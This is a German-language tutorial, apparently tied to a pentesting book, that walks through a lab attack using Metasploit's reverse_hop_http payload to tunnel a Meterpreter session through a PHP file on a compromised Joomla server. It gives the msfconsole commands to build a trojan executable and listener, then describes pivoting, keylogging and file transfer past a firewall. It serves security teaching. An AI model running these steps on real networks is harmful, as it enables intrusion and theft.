Hopping Meterpreter Through PHP

Im Weekly Metasploit Update hat Tod Beardsley von Rapid 7 einen neuen Payload vorgestellt, der es erlaubt Netzwerkverbindungen mittels PHP über einen Webserver zu tunneln.

Mittels des folgenden Versuchsaufbaus soll die Vorgehensweise erläutert werden. Der Test lässt sich innerhalb einer virtuellen Umgebung nachvollziehen. Nutzen Sie die im Buch im Kapitel 2 (Seite 38 ff.) beschriebene Netzwerkkonfiguration unter Einsatz einer Firewall (pfsense).

Die Firewall teilt das Netzwerk in drei Bereiche. Der Angreifer befindet sich im „Internet“ und nutze die IP-Adresse 10.0.0.121. Ein Joomla Webserver befindet ich in der „DMZ“. Hier nutzt er folgende IP-Adresse: 10.0.2.102. Für den Test reicht eine Standartkonfiguration. Außer dem Aufspielen der Datei hop.php muss nichts angepasst werden.

Im „lokalen Netzwerk“  befinden sich die Client-PC mit Windows XP (192.168.222.13) und Windows 7 (192.168.222.72). Sie werden im Test als Opfer dienen.

Das Szenario könnte wie folgt aussehen:

Hopping Meterpreter trough PHP

Ein Angreifer schafft es den Joomla Webserver in der DMZ zu kompromittieren. Dies wäre über verschiedene Methoden denkbar. Entweder nutzt er eine bekannte Schwachstelle der installierten Software (Joomla CMS) aus oder nutzt z.B. eine SQL-Schwachstelle der verwendeten Datenbank. Damit kann er zusätzliche Software auf dem Webserver installieren, ohne seine Funktionalität zu beeinträchtigen.

Dem Opfer wird ein Trojaner „untergejubelt“. In unserem Beispiel wird es die Datei hopper.exe sein. Ach hier sind wieder viele Methoden denkbar, auf die ich aber aus Zeitgründen nicht eingehen möchte.

Sobald das Opfer die Datei auf dem Windows-PC ausführt, wird eine Reverse-Verbindung über den Webserver in der DMZ zum Angreifer geöffnet. Der Angreifer hat nun mittels einer Meterpreter-Session Zugriff auf diesen PC. Er ist nun in der Lage das restliche lokale Netzwerk zu „erkunden“. In unserem Beispiel wird mittels eines ARP-Scans ein weiterer Windows-PC gefunden. Durch bekannte Nutzerdaten verschafft er sich Zugriff und kann so Schritt für Schritt unbemerkt von Intrusion Detection Systemen (IDS) das lokale Netzwerk durch die Firewall hindurch penetrieren.

Folgenden Vorbereitungen müssen auf dem PC des Angreifers getroffen werden. Wir nutzen hier Kali Linux, das Metasploit-Framework und Armitage. In der Metasploit-Konsole werden folgende Befehle ausgeführt:

use payload/windows/meterpreter/reverse_hop_http
set HOPURL http://10.0.2.102/joomla/hop.php
generate –t exe –f /tmp/hopper.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_hop_http
set HOPURL http://10.0.2.102/joomla/hop.php
exploit
									

In den Zeilen 1 und 2 wird der Payload aufgerufen und die Variable HOPURL gesetzt. In unserem Beispiel zeigt sie auf eine Datei (hop.php) auf dem Joomla-Webserver in der DMZ. Diese Datei wurde vorher aus dem Metasploit-Framework herauskopiert (in Kali Linux findet man die Datei unter /usr/share/metasploit-framework/data/php) und in das Verzeichnis /var/www/joomla/ auf dem Webserver gesichert.

In Zeile 3 wird der Trojaner (hopper.exe) generiert und zwischengespeichert. Er muss dann nur noch zum Opfer gelangen und auf dessen System ausgeführt werden.

Ab Zeile 4 wird das Angriffssystem zu vorbereitet, dass es die vom Opfer eingehenden Daten interpretieren und verarbeiten kann. Dazu wird ein sogenannter Multi-Handler gestartet. Das Angriffssystem ist nun vorbereitet.

Sobald das Opfer die Datei hopper.exe auf dem PC ausgeführt, wird eine Meterpreter-Session geöffnet und eine Kommunikation zwischen Angreifer und Opfer etabliert.

Mittels Armitage lässt sich das Zielsystem nun weiter erkunden. Die Ergebnisse werden auch optisch gut dargestellt. In unserem Bespiel wird ein Arp-Scan im lokalen Netzwerk durchgeführt. Dadurch wird dann ein weiterer Windows-PC entdeckt. Armitage erleichtert nun die Aufgabe des Penetration Testers. Durch einfache Mausklicks können nun Screenshots angefertigt, Keylogger installiert, Prozesse angeschaut bzw. Dateien übertragen werden.

Das nachfolgende Video zeigt die Vorgehensweise.

[youtube 5Ba7LDvj088 548 365]

 

Bemerkung: Bitte führen Sie diese Tests nur in einer gesicherten Laborumgebung durch.